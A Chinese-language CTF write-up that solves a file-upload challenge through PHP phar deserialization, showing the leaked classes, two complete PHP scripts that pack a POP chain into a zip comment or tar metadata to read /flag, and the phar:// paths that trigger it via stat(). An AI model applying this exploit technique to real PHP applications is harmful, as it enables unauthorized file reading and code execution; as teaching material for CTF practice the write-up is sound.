phar反序列化

phar反序列化(吃瓜杯attup)

打开页面,可知只能是zip、rar、tar文件可以上传,因此我们随意构造一个zip文件上传
然后查询上传的zip文件,之后打开页面源码,发现有一处源码泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class View {
public $fn;
public function __invoke(){
$text = base64_encode(file_get_contents($this->fn));
echo "<script>alert('".$text."');self.location=document.referrer;</script>";
}
}
class Fun{
public $fun = ":)";
public function __toString(){
$fuc = $this->fun;
$fuc();
return "<script>alert('Be a happy string~');self.location=document.referrer;</script>";
}
public function __destruct()
{
echo "<script>alert('Just a fun ".$this->fun."');self.location=document.referrer;</script>";
}
}
$filename = $_POST["file"];
$stat = @stat($filename);

其中stat()这个函数用的很少, 用于返回关于文件的信息, 但是它也可以触发 phar 文件, 这里主要是考察了通过 zip 或 tar 文件包装的phar文件进行触发
phar反序列化详细请看:https://www.cnblogs.com/zzjdbk/p/13030571.html

因此我们可以构造pop链并压缩成zip文件或tar文件并包装成phar文件的格式上传,phar文件可以绕过<?和php的过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
zip

class View {
public $fn;
public function __invoke(){
$text = base64_encode(file_get_contents($this->fn));
echo "<script>alert('".$text."');self.location=document.referrer;</script>";
}
}
class Fun{
public $fun = ":)";
public function __toString(){
$fuc = $this->fun;
$fuc();
return "<script>alert('Be a happy string~');self.location=document.referrer;</script>";
}
public function __destruct()
{
echo "<script>alert('Just a fun ".$this->fun."');self.location=document.referrer;</script>";
}
}
$a = new View();
$a->fn = '/flag';
$b = new Fun();
$b->fun = $a;
$c = new Fun();
$c->fun = $b;
$d = serialize($c);
if(file_exists('phar.zip')) {
@unlink("phar.zip");
}
$zip = new ZipArchive;
$res = $zip->open('phar.zip', ZipArchive::CREATE);
$zip->addFromString('test.txt', 'file content goes here');
$zip->setArchiveComment($d);
$zip->close();

以及

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
tar


class View {
public $fn;
public function __invoke(){
$text = base64_encode(file_get_contents($this->fn));
echo "<script>alert('".$text."');self.location=document.referrer;</script>";
}
}
class Fun{
public $fun = ":)";
public function __toString(){
$fuc = $this->fun;
$fuc();
return "<script>alert('Be a happy string~');self.location=document.referrer;</script>";
}
public function __destruct()
{
echo "<script>alert('Just a fun ".$this->fun."');self.location=document.referrer;</script>";
}
}
$a = new View();
$a->fn = '/flag';
$b = new Fun();
$b->fun = $a;
$c = new Fun();
$c->fun = $b;
@unlink("phar.tar");
@system('rm -r .phar');
@system('mkdir .phar');
file_put_contents('.phar/.metadata',serialize($c));
system('tar -cf phar.tar .phar/*');

然后构造payload

1
2
phar://./phar.tar
phar:///var/www/html/uploads/phar.tar

即可通过 phar 反序列化触发 pop 链得到 flag